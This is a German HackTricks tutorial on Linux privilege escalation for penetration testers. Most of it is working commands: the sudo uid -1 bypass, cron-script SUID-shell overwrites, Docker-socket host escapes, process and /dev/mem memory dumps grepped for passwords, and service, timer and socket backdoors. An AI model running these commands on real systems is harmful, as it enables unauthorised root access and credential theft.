Linux Privilege Escalation
Reading time: 59 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Systeminformationen
OS-Info
Beginnen wir damit, Informationen über das laufende OS zu sammeln.
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Path
Wenn du Schreibrechte auf einem Ordner innerhalb der PATH
-Variable hast, kannst du möglicherweise einige Libraries oder Binaries hijacken:
echo $PATH
Umgebungsinformationen
Interessante Informationen, Passwörter oder API-Schlüssel in den Umgebungsvariablen?
(env || set) 2>/dev/null
Kernel exploits
Prüfe die Kernel-Version und ob es einen exploit gibt, der zur Privilege Escalation genutzt werden kann.
cat /proc/version
uname -a
searchsploit "Linux Kernel"
Du kannst eine gute Liste verwundbarer Kernel und einige bereits compiled exploits hier finden: https://github.com/lucyoa/kernel-exploits und exploitdb sploits.
Weitere Seiten, auf denen Du einige compiled exploits findest: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
Um aus dieser Website alle verwundbaren Kernel-Versionen zu extrahieren, kannst Du Folgendes tun:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
Tools, die bei der Suche nach Kernel-Exploits helfen können, sind:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim, überprüft nur exploits für Kernel 2.x)
Suche immer die Kernel-Version in Google, vielleicht ist deine Kernel-Version in einem Kernel-Exploit angegeben, dann kannst du sicher sein, dass dieser Exploit gültig ist.
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Sudo-Version
Basierend auf den anfälligen sudo-Versionen, die in:
searchsploit sudo
Sie können mit diesem grep prüfen, ob die sudo-Version verwundbar ist.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
sudo < v1.28
Von @sickrov
sudo -u#-1 /bin/bash
Dmesg-Signaturüberprüfung fehlgeschlagen
Siehe smasher2 box of HTB für ein Beispiel, wie diese vuln ausgenutzt werden könnte
dmesg 2>/dev/null | grep "signature"
Mehr system enumeration
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
Mögliche Abwehrmaßnahmen
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Docker Breakout
Wenn du dich in einem docker container befindest, kannst du versuchen, daraus zu entkommen:
Laufwerke
Überprüfe was eingehängt und was nicht eingehängt ist, wo und warum. Falls etwas nicht eingehängt ist, könntest du versuchen, es einzuhängen und nach privaten Informationen zu suchen.
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
Nützliche Software
Nützliche binaries auflisten
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
Prüfe außerdem, ob irgendein compiler installiert ist. Das ist nützlich, wenn du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu kompilieren, auf der du ihn einsetzen willst (oder auf einer ähnlichen).
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
Installierte verwundbare Software
Überprüfe die Version der installierten Pakete und Dienste. Vielleicht gibt es eine ältere Nagios-Version (zum Beispiel), die für escalating privileges ausgenutzt werden könnte…
Es wird empfohlen, die Version der verdächtigeren installierten Software manuell zu prüfen.
dpkg -l #Debian
rpm -qa #Centos
Wenn du SSH-Zugang zur Maschine hast, kannst du auch openVAS verwenden, um nach veralteter oder anfälliger Software zu suchen, die auf der Maschine installiert ist.
[!NOTE] > Beachte, dass diese Befehle viele Informationen anzeigen, die größtenteils nutzlos sind. Daher werden Anwendungen wie OpenVAS oder ähnliche empfohlen, die prüfen, ob eine installierte Softwareversion gegenüber bekannten exploits anfällig ist.
Prozesse
Sieh dir an, welche Prozesse ausgeführt werden, und prüfe, ob ein Prozess mehr Rechte hat, als er sollte (vielleicht läuft ein tomcat als root?)
ps aux
ps -ef
top -n 1
Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas erkennt diese, indem es in der Kommandozeile des Prozesses den --inspect
-Parameter überprüft.
Prüfe außerdem deine Privilegien auf die Prozess-Binaries — vielleicht kannst du eine überschreiben.
Process monitoring
Du kannst Tools wie pspy verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Voraussetzungen erfüllt ist.
Process memory
Some services of a server save credentials in clear text inside the memory.
Normalerweise benötigst du root privileges, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören; daher ist das in der Regel nützlicher, wenn du bereits root bist und weitere credentials entdecken möchtest.
Denke jedoch daran, dass als normaler Benutzer du den Speicher der Prozesse lesen kannst, die dir gehören.
warning
Beachte, dass heutzutage die meisten Maschinen ptrace nicht standardmäßig erlauben, was bedeutet, dass du andere Prozesse, die zu deinem unprivilegierten Benutzer gehören, nicht dumpen kannst.
The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace:
- kernel.yama.ptrace_scope = 0: alle Prozesse können debuggt werden, solange sie dieselbe uid haben. Dies ist die klassische Art, wie ptracing funktionierte.
- kernel.yama.ptrace_scope = 1: nur ein übergeordneter Prozess kann debuggt werden.
- kernel.yama.ptrace_scope = 2: nur Admin kann ptrace verwenden, da dafür die CAP_SYS_PTRACE-Fähigkeit erforderlich ist.
- kernel.yama.ptrace_scope = 3: keine Prozesse dürfen mit ptrace nachverfolgt werden. Sobald gesetzt, ist ein Reboot nötig, um ptracing wieder zu ermöglichen.
GDB
If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
GDB-Skript
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
Für eine gegebene Prozess-ID zeigen maps, wie Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist; sie zeigt auch die Berechtigungen jeder abgebildeten Region. Die mem Pseudo-Datei legt den Speicher des Prozesses selbst offen. Aus der maps-Datei wissen wir, welche Speicherbereiche lesbar sind und ihre Offsets. Wir nutzen diese Informationen, um in die mem-Datei zu seeken und alle lesbaren Bereiche in eine Datei auszulesen.
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem
bietet Zugriff auf den physischen Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann über /dev/kmem angesprochen werden.
Typischerweise ist /dev/mem
nur für root und die kmem-Gruppe lesbar.
strings /dev/mem -n10 | grep -i PASS
ProcDump für linux
ProcDump ist eine Linux-Neuinterpretation des klassischen ProcDump-Tools aus der Sysinternals-Suite für Windows. Erhältlich unter https://github.com/Sysinternals/ProcDump-for-Linux
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
Werkzeuge
Um den Speicher eines Prozesses zu dumpen, kannst du Folgendes verwenden:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _Du kannst manuell die root-Anforderungen entfernen und den Prozess dumpen, der dir gehört
- Script A.5 aus https://www.delaat.net/rp/2016-2017/p97/report.pdf (root ist erforderlich)
Anmeldedaten aus dem Prozessspeicher
Manuelles Beispiel
Wenn du feststellst, dass der authenticator-Prozess läuft:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
Sie können den Prozess dumpen (siehe vorherige Abschnitte, um verschiedene Möglichkeiten zu finden, den Speicher eines Prozesses zu dumpen) und im Speicher nach credentials suchen:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
Das Tool https://github.com/huntergregal/mimipenguin wird Klartext-Anmeldedaten aus dem Speicher und aus einigen bekannten Dateien stehlen. Es benötigt root privileges, um richtig zu funktionieren.
Funktion | Prozessname |
---|---|
GDM password (Kali Desktop, Debian Desktop) | gdm-password |
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
LightDM (Ubuntu Desktop) | lightdm |
VSFTPd (Active FTP Connections) | vsftpd |
Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
Such-Regexes/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
Scheduled/Cron jobs
Überprüfe, ob irgendein geplanter Job verwundbar ist. Vielleicht kannst du ein Script ausnutzen, das von root ausgeführt wird (wildcard vuln? kannst du Dateien modifizieren, die root verwendet? symlinks verwenden? bestimmte Dateien in dem Verzeichnis erstellen, das root verwendet?).
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Cron path
Zum Beispiel findest du in /etc/crontab die PATH-Variable: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(Beachte, dass der Benutzer "user" Schreibrechte für /home/user hat)
Wenn innerhalb dieser crontab der Benutzer root versucht, einen Befehl oder ein Skript auszuführen, ohne den PATH zu setzen. Zum Beispiel: * * * * root overwrite.sh
Dann kannst du eine root shell erhalten, indem du Folgendes verwendest:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron mit einem Skript, das ein wildcard verwendet (Wildcard Injection)
Wenn ein von root ausgeführtes Skript ein “*” innerhalb eines Befehls enthält, könntest du dies ausnutzen, um unerwartete Dinge zu bewirken (wie privesc). Beispiel:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
Wenn die Wildcard einem Pfad wie /some/path/* vorangestellt ist, ist sie nicht anfällig (selbst ./* nicht).
Siehe die folgende Seite für weitere Wildcard-Exploitation-Tricks:
Überschreiben von cron scripts und symlink
Wenn du ein cron script modifizieren kannst, das von root ausgeführt wird, kannst du sehr einfach eine shell bekommen:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
Wenn das von root ausgeführte script ein Verzeichnis, auf das du vollen Zugriff hast, verwendet, kann es nützlich sein, dieses Verzeichnis zu löschen und einen symlink-Ordner zu einem anderen zu erstellen, der ein von dir kontrolliertes script bereitstellt.
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Häufige cron jobs
Du kannst die Prozesse überwachen, um nach Prozessen zu suchen, die alle 1, 2 oder 5 Minuten ausgeführt werden. Vielleicht kannst du das ausnutzen und Privilegien eskalieren.
Zum Beispiel, um jede 0.1s für 1 Minute zu überwachen, nach am wenigsten ausgeführten Befehlen zu sortieren und die Befehle zu löschen, die am häufigsten ausgeführt wurden, kannst du Folgendes tun:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
Sie können auch pspy (dies überwacht und listet jeden gestarteten Prozess).
Unsichtbare cronjobs
Es ist möglich, einen cronjob zu erstellen, indem man ein Wagenrücklaufzeichen nach einem Kommentar setzt (ohne Zeilenumbruchzeichen), und der cronjob funktioniert. Beispiel (achte auf das Wagenrücklaufzeichen):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
Dienste
Schreibbare .service Dateien
Prüfe, ob du eine .service
Datei schreiben kannst, wenn ja, könntest du es ändern so dass sie ausführt deine backdoor wenn der Service gestartet, neu gestartet oder gestoppt wird (vielleicht musst du warten, bis die Maschine neu gestartet wird).
Zum Beispiel erstelle deine backdoor innerhalb der .service Datei mit ExecStart=/tmp/script.sh
Schreibbare service binaries
Beachte, dass wenn du Schreibrechte an Binaries, die von services ausgeführt werden hast, du diese ändern kannst, um backdoors zu platzieren, sodass beim erneuten Ausführen der services die backdoors ausgeführt werden.
systemd PATH - Relative Paths
Du kannst den von systemd verwendeten PATH sehen mit:
systemctl show-environment
Wenn du feststellst, dass du in einem der Ordner des Pfads schreiben kannst, könntest du möglicherweise Privilegien eskalieren. Du musst nach relativen Pfaden, die in Service-Konfigurationsdateien verwendet werden, suchen, wie zum Beispiel:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
Erstelle dann eine ausführbare Datei mit dem gleichen Namen wie das relative Pfad-Binary im systemd PATH-Verzeichnis, das du beschreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (Start, Stop, Reload) auszuführen, wird dein backdoor ausgeführt (nicht-privilegierte Benutzer können Dienste normalerweise nicht starten/stoppen, prüfe aber, ob du sudo -l
verwenden kannst).
Mehr über Services erfährst du mit man systemd.service
.
Timer
Timer sind systemd unit-Dateien, deren Name auf **.timer**
endet und die **.service**
-Dateien oder Ereignisse steuern. Timer können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für kalenderbasierte Zeitereignisse und monotone Zeitereignisse bieten und asynchron ausgeführt werden können.
Du kannst alle Timer mit folgendem Befehl auflisten:
systemctl list-timers --all
Schreibbare Timer
Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, einige vorhandene systemd.unit-Einheiten auszuführen (wie eine .service
oder eine .target
)
Unit=backdoor.service
In der Dokumentation kannst du lesen, was die Unit ist:
The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.
Therefore, to abuse this permission you would need to:
- Find some systemd unit (like a
.service
) that is eine beschreibbare Binärdatei ausführt - Find some systemd unit that is einen relativen Pfad ausführt und du schreibbare Rechte über den systemd PATH hast (um diese ausführbare Datei zu imitieren)
Mehr über Timer erfährst du mit man systemd.timer
.
Timer aktivieren
Um einen Timer zu aktivieren benötigst du Root-Rechte und musst folgendes ausführen:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
Beachte, dass der timer durch das Erstellen eines Symlinks zu ihm unter /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
aktiviert wird
Sockets
Unix Domain Sockets (UDS) ermöglichen die Prozesskommunikation auf demselben oder verschiedenen Rechnern innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Deskriptordateien für die Kommunikation zwischen Rechnern und werden über .socket
-Dateien eingerichtet.
Sockets können mit .socket
-Dateien konfiguriert werden.
Erfahre mehr über sockets mit man systemd.socket
. In dieser Datei können mehrere interessante Parameter konfiguriert werden:
ListenStream
,ListenDatagram
,ListenSequentialPacket
,ListenFIFO
,ListenSpecial
,ListenNetlink
,ListenMessageQueue
,ListenUSBFunction
: Diese Optionen unterscheiden sich, aber zusammenfassend dienen sie dazu, anzugeben, wo auf den Socket gehört werden soll (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6-Adresse und/oder Portnummer, auf die gehört wird, usw.)Accept
: nimmt ein boolesches Argument. Wenn true, wird für jede eingehende Verbindung eine Service-Instanz gestartet und nur das Verbindungssocket an diese übergeben. Wenn false, werden alle Listening-Sockets selbst an die gestartete Service-Unit übergeben, und es wird nur eine Service-Unit für alle Verbindungen gestartet. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, wo eine einzelne Service-Unit bedingungslos den gesamten eingehenden Traffic verarbeitet. Standardmäßig false. Aus Performance-Gründen wird empfohlen, neue Daemons so zu schreiben, dass sie fürAccept=no
geeignet sind.ExecStartPre
,ExecStartPost
: nehmen eine oder mehrere Befehlszeilen, die jeweils ausgeführt werden, bevor bzw. nachdem die Listening-sockets/FIFOs erstellt und gebunden werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.ExecStopPre
,ExecStopPost
: zusätzliche Befehle, die jeweils ausgeführt werden, bevor bzw. nachdem die Listening-sockets/FIFOs geschlossen und entfernt werden.Service
: gibt den Namen der Service-Unit an, die bei eingehendem Traffic aktiviert werden soll. Diese Einstellung ist nur für Sockets mit Accept=no erlaubt. Standardmäßig ist es die Service-Unit mit demselben Namen wie das Socket (mit ersetztem Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
Writable .socket files
Wenn du eine beschreibbare .socket
-Datei findest, kannst du am Anfang des [Socket]
-Abschnitts etwas wie ExecStartPre=/home/kali/sys/backdoor
hinzufügen und die Backdoor wird ausgeführt, bevor das Socket erstellt wird. Daher musst du wahrscheinlich warten, bis die Maschine neu gebootet wird.
Note that the system must be using that socket file configuration or the backdoor won't be executed
Writable sockets
Wenn du ein beschreibbares socket identifizierst (jetzt sprechen wir von Unix Sockets und nicht von den Konfigurations-.socket
-Dateien), dann kannst du mit diesem Socket kommunizieren und möglicherweise eine Schwachstelle ausnutzen.
Auflisten von Unix Sockets
netstat -a -p --unix
Rohverbindung
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Exploitation example:
HTTP sockets
Beachte, dass es möglicherweise einige sockets gibt, die auf HTTP-Anfragen lauschen (ich rede nicht von .socket files, sondern von Dateien, die als unix sockets fungieren). Das kannst du mit folgendem Befehl prüfen:
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
Wenn der Socket auf eine HTTP-Anfrage antwortet, kannst du mit ihm kommunizieren und vielleicht exploit some vulnerability.
Schreibbarer Docker Socket
Der Docker-Socket, oft zu finden unter /var/run/docker.sock
, ist eine kritische Datei, die abgesichert werden sollte. Standardmäßig ist er für den root
-Benutzer und Mitglieder der docker
-Gruppe schreibbar. Schreibzugriff auf diesen Socket kann zu privilege escalation führen. Nachfolgend eine Aufschlüsselung, wie das durchgeführt werden kann und alternative Methoden, falls die Docker CLI nicht verfügbar ist.
Privilege Escalation with Docker CLI
Wenn du Schreibzugriff auf den Docker-Socket hast, kannst du escalate privileges mit den folgenden Befehlen durchführen:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Diese Befehle erlauben es dir, einen Container mit root-Zugriff auf das Dateisystem des Hosts auszuführen.
Docker API direkt verwenden
Falls die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker API und curl
-Befehle manipuliert werden.
- List Docker Images: Retrieve the list of available images.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- Create a Container: Sende eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Hosts einbindet.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
Starte den neu erstellten Container:
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- Attach to the Container: Verwende
socat
, um eine Verbindung zum Container herzustellen, die die Ausführung von Befehlen darin ermöglicht.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
Nachdem die socat
-Verbindung aufgebaut ist, kannst du Befehle direkt im Container ausführen und hast root-Zugriff auf das Dateisystem des Hosts.
Andere
Beachte, dass wenn du Schreibrechte am docker socket hast, weil du inside the group docker
bist, du more ways to escalate privileges. Wenn die docker API is listening in a port you can also be able to compromise it.
Check more ways to break out from docker or abuse it to escalate privileges in:
Containerd (ctr) privilege escalation
Wenn du den ctr
-Befehl verwenden kannst, lies die folgende Seite, da you may be able to abuse it to escalate privileges:
Containerd (ctr) Privilege Escalation
RunC privilege escalation
Wenn du den runc
-Befehl verwenden kannst, lies die folgende Seite, da you may be able to abuse it to escalate privileges:
D-Bus
D-Bus ist ein ausgereiftes inter-Process Communication (IPC) system, das Anwendungen ermöglicht, effizient zu interagieren und Daten zu teilen. Für moderne Linux-Systeme konzipiert, bietet es ein robustes Framework für verschiedene Formen der Anwendungskommunikation.
Das System ist vielseitig: Es unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich erweiterten UNIX domain sockets. Außerdem ermöglicht es das Senden von Events oder Signalen, was eine nahtlose Integration der Systemkomponenten fördert. Beispielsweise kann ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf einen Musikplayer stummschalten und so das Nutzererlebnis verbessern. Zusätzlich unterstützt D-Bus ein remote object system, das Service-Anfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und zuvor komplexe Abläufe vereinfacht.
D-Bus arbeitet nach einem allow/deny model, das Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen, usw.) basierend auf der kumulativen Wirkung passender Policy-Regeln verwaltet. Diese Policies legen fest, wie mit dem Bus interagiert werden darf und können potentiell zu privilege escalation führen, wenn diese Berechtigungen ausgenutzt werden.
Ein Beispiel für eine solche Policy in /etc/dbus-1/system.d/wpa_supplicant.conf
wird gezeigt und listet die Berechtigungen für den root-Benutzer auf, um fi.w1.wpa_supplicant1
zu besitzen, an sie zu senden und Nachrichten von ihr zu empfangen.
Policies ohne spezifizierten Benutzer oder Gruppe gelten universell, während "default"-Kontext-Policies für alle gelten, die nicht durch andere spezifische Policies abgedeckt sind.
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
Lerne hier, wie du eine D-Bus communication enumerate und exploit kannst:
D-Bus Enumeration & Command Injection Privilege Escalation
Netzwerk
Es ist immer interessant, das Netzwerk zu enumerate und die Position der Maschine herauszufinden.
Generische enumeration
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#Files used by network services
lsof -i
Offene Ports
Überprüfe immer Netzwerkdienste, die auf der Maschine laufen und mit denen du vor dem Zugriff nicht interagieren konntest:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
Sniffing
Prüfe, ob du traffic sniffen kannst. Wenn ja, könntest du einige credentials abfangen.
timeout 1 tcpdump
Benutzer
Generic Enumeration
Prüfe who du bist, welche privileges du hast, welche users in den Systemen vorhanden sind, welche sich login können und welche root privileges haben:
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
Große UID
Einige Linux-Versionen waren von einem Bug betroffen, der Benutzern mit UID > INT_MAX erlaubt, Privilegien zu eskalieren. Mehr Infos: here, here and here.
Exploit it using: systemd-run -t /bin/bash
Gruppen
Prüfe, ob du Mitglied einer Gruppe bist, die dir root-Privilegien gewähren könnte:
Interesting Groups - Linux Privesc
Zwischenablage
Prüfe, ob sich (falls möglich) etwas Interessantes in der Zwischenablage befindet.
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
Passwort-Richtlinie
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
Bekannte Passwörter
Wenn du ein Passwort der Umgebung kennst, versuche dich mit diesem Passwort als jeden Benutzer einzuloggen.
Su Brute
Wenn es dir nichts ausmacht, viel Lärm zu verursachen, und die Binärdateien su
und timeout
auf dem Rechner vorhanden sind, kannst du versuchen, Benutzer mit su-bruteforce zu brute-forcen.
Auch Linpeas versucht mit dem Parameter -a
, Benutzer zu brute-forcen.
Missbrauch beschreibbarer $PATHs
$PATH
Wenn du feststellst, dass du in einen Ordner des $PATH schreiben kannst, könntest du Privilegien eskalieren, indem du eine backdoor in dem beschreibbaren Ordner erstellst, die den Namen eines Befehls trägt, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und nicht aus einem Verzeichnis geladen wird, das vor deinem beschreibbaren Ordner im $PATH steht.
SUDO and SUID
Du könntest berechtigt sein, einen Befehl mit sudo auszuführen, oder die Datei könnte das suid-Bit gesetzt haben. Prüfe das mit:
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
